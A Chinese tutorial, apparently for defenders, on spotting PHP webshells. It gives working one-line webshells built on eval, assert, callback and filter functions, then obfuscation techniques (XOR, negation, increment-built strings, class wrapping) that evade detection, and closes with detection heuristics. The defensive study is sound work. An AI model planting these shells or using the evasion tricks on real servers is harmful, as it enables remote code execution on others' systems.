向着困惑发起思考

介绍

  • 在护网和安服中,肯定会遇到各种各样的 webshell,主要语言是 php,jsp,asp 等。其中 jsp 的 webshell 大部分都是大马,功能多代码长,不好一眼识别。但 php 很多都是小马,可以通过一些技巧快速识别出来,下面将举例介绍。

识别

php 常见代码执行函数

  • eval(): 将接受的字符串当做代码执行

    <?php @eval($_POST['hacker']); ?>
  • assert(): 用法和 eval() 一样

    <?php @assert($_POST['hacker']); ?>
  • preg_replace(): 一个参数是一个正则表达式,按照 php 的格式,表达式在两个 / 之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php 代码执行

    <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
  • create_function(): 创建了一个匿名函数,并返回了一个独一无二的函数名

    <?php
    $newfun = create_function('$hacker', 'echo $hacker;');
    $newfun('woaini');
    ?>
  • call_user_func(): 函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

    <?php
    echo call_user_func('shell_exec','whoami');
    ?>
    <?php
    call_user_func_array('assert', array($_POST['pass']));
    ?>
  • call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

    <?php
      if(isset($_POST['fun'])||isset($_POST['arg'])){
          call_user_func_array($_POST['fun'], $_POST['arg']);
      }else{
          exit();
      }
    ?>
  • forward_static_call_array: 把函数作为参数传入进另一个函数中使用。

    <?php forward_static_call_array(assert,array($_POST[x]));?>
  • array_filter(arr1,funcname): 将函数传入到指定的函数中,如果自定义的函数中返回了 true,则包含该值且返回一个新的数组,如果返回了 false 的话,就不会返回新值,执行完后最终会返回一个新的数组。

    <?php $e = $_REQUEST['e'];
    $arr = array($_POST['settoken'],);
    array_filter($arr, base64_decode($e));
    ?>
  • array_walk(): 传递数组到某一个函数中,array_walk 属于回调函数的一种,将键值传入到函数中,函数名要用引号引起来

    <?php
    $a = array('phpinfo()');
    array_walk($a,'assert');
    ?>
  • array_map(callback, arr1,arr2...): 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

    <?php
      $e = $_REQUEST['e'];
      $arr = array($_POST['pass'],);
      array_map(base64_decode($e), $arr);
    ?>
  • register_shutdown_function(): 注册一个会在PHP中止时执行的函数

    • PHP中止的情况有三种:
    1. 执行完成
    2. exit/die 导致的中止
    3. 发生致命错误中止
    // 后面的 after 并没有输出,即 exit 或者是 die 方法导致提前中止
    function test() 
    { 
     echo '这个是中止方法test的输出'; 
    } 
    
    register_shutdown_function('test'); 
    
    echo 'before' . PHP_EOL; 
    exit(); 
    echo 'after' . PHP_EOL;
    
    // 举例 2
    <?php
      $e = $_REQUEST['e'];
      register_shutdown_function($e, $_REQUEST['x']);
    ?>
  • register_tick_function(function): 执行一次低级语法,执行一次里面的回调函数

    $f = $_REQUEST['f'];
    declare(ticks=1);
    register_tick_function ($f, $_REQUEST['aabyss']);
  • filter_var(): 通过指定的过滤器过滤一个变量。

    <?php
      filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
    ?>
  • filter_var_array(): 获取多项变量,并进行过滤。

    <?php
      filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
    ?>
  • uasort(): 使用用户自定义的比较函数对数组中的元素进行排序

    uasort(array,myfunction);
  • uksort(): 函数通过用户自定义的比较函数对数组按键名进行排序。

    <?php
      $e = $_REQUEST['e'];
      $arr = array('test' => 1, $_REQUEST['x'] => 2);
      uksort($arr, $e);
    ?>
  • array_reduce(): 向用户自定义函数发送数组中的值,并返回一个字符串。

    <?php
      $e = $_REQUEST['e'];
      $arr = array(1);
      array_reduce($arr, $e, $_POST['x']);
    ?>
  • array_walk(): 对数组中的每个元素应用用户自定义函数

    function myfunction($value,$key,$p)
    {
    echo "The key $key $p $value<br>
    ";
    }
    $a=array("a"=>"red","b"=>"green","c"=>"blue");
    array_walk($a,"myfunction","has the value");
  • array_walk_recursive(): 对数组中的每个元素应用用户自定义函数。该函数与 array_walk () 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

    <?php
      $e = $_REQUEST['e'];
      $arr = array($_POST['pass'] => '|.*|e',);
      array_walk_recursive($arr, $e, '');
    ?>
  • array_udiff(): 返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

    <?php
      $e = $_REQUEST['e'];
      $arr = array($_POST['x']);
      $arr2 = array(1);
      array_udiff($arr, $arr2, $e);
    ?>
  • array_uintersect(): 比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

  • array_diff_uassoc(): 比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集

  • array_diff_ukey(): 用回调函数对键名比较计算数组的差集

  • xml_set_character_data_handler(): 该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

  • xml_set_default_handler(): 函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

  • xml_set_external_entity_ref_handler(): 函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

  • xml_set_notation_decl_handler(): 函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

  • xml_set_unparsed_entity_decl_handler(): 规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

混淆手法

  • 字符串拼接法

    <?php
    $fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
    $a =array_keys($fruits);
    $m =$a[0].$a[1];
    $n ='er';
    $q = $m.$n.'t';
    $r = $_REQUEST['user'];
    @$q($r);
    /*
    $q 会拼接成 assert,然后使用 @assert("黑客入侵代码")来执行
    assert 这个函数在 php 语言中是用来判断一个表达式是否成立。返回 true or false;
    */
    ?>
  • 字符串变形

    • 比如使用
    substr() 截断;
    chr() 或 ord() 转码;
    strtr() 转换字符串中特定的字符;
    substr_replace () 函数把字符串的一部分替换为另一个字符串;
    trim () 函数移除字符串两侧的空白字符或其他预定义字符;
    str_rot13() 函数来替代 assert。该函数对字符串执行 ROT13 编码。ROT13 编码就是把每个字母在字母表中移动 13 位。
    trim() 去除字符串两端的空白字符(包括空格、制表符、换行符等)或指定的字符。
    mb_ereg_replace() 多字节字符串正则替换函数,mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e') 的作用是将字符串 '1' 中的数字字符(\d)使用 $_REQUEST['x'] 中的值进行替换。
    等等
<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>
  • 变量调用绕过

    • 函数可以把敏感关键词当做参数传递,php 中变量内容可以当作函数调用
    <?php 
      function sqlsec($a){
          $a($_POST['x']);
      }
      sqlsec(assert);
    ?>
  • 可变变量

    • 这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。
    <?php 
    $zeo='miansha';
    $$zeo=$_POST['110'];
    eval($miansha);
    ?>
  • 异或

    <?php 
      $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
      $a($_POST['x']);
    ?>
  • 取反

    <?php
    $__=('>'>'<')+('>'>'<');
    $_=$__/$__;
    
    $____='';
    $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
    
    $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
    
    $_=$$_____;
    $____($_[$__]);
  • 自增
    说明
  • 也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。那么,如何拿到一个值为字符串'a'的变量呢?
  • 巧了,数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。也就是说,我们可以同时拿到小写和大写 A,等于我们就可以拿到 a-z 和 A-Z 的所有字母。

    <?php
    $_=[];
    $_=@"$_"; // $_='Array';
    $_=$_['!'=='@']; // $_=$_[0];
    $___=$_; // A
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__; // S
    $___.=$__; // S
    $__=$_;
    $__++;$__++;$__++;$__++; // E 
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $___.=$__;
    
    $____='_';
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $____.=$__;
    
    $_=$$____;
    $___($_[_]); // ASSERT($_POST[_]);
  • 类绕过免杀

    • 这个也比较多,下面举个例子。
    <?php 
     class zeo2
     {
     public $b ='';
     function post(){
       return $_POST['x'];
     }
     }
    class zeo extends zeo2
    {
    public $code=null;
    function __construct(){
            $code=parent::post();
      assert($code);
    }
    }
    $blll = new zeo;
    $bzzz = new zeo2;
    ?>
  • 各种编码解码或者解密

    base64 解码
    gzip 解压缩
    aes 解密
    等等,解出来如果是代码,大概率有问题
  • 大小写混乱

    • PHP 函数调用不分大小写,所以可以这样
    <?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');
    $M=$_POST[ice];
    IF($M==NuLl)HeaDeR('Status:404');
    Else/**/$K($M);?>

判断

  • PHP 语法手册还有一些及其偏门的函数,遇到奇怪陌生的函数查一下即可,这里不举例了。

    • 如果看到了这些函数的调用或者函数名字符串在传递,都要注意其是否能从请求流量中获取参数并当作 PHP 代码执行。
    • 如果看到变量名函数名都是各种混乱的下划线或者异常难解密的字符串,大概率是 webshell。
    • 如果看到了超长的字符串,后面这个字符串经过 base64 或者 gzip 处理,大概率是 webshell。
    • 记住,正常代码中不会出现花里胡哨的代码,如果是防止代码泄露进行代码混淆,也不会出现在流量中传输。看到了花里胡哨一堆非功能操作的代码,大概率就是 webshell,封禁 + 内外溯源处置即可

参考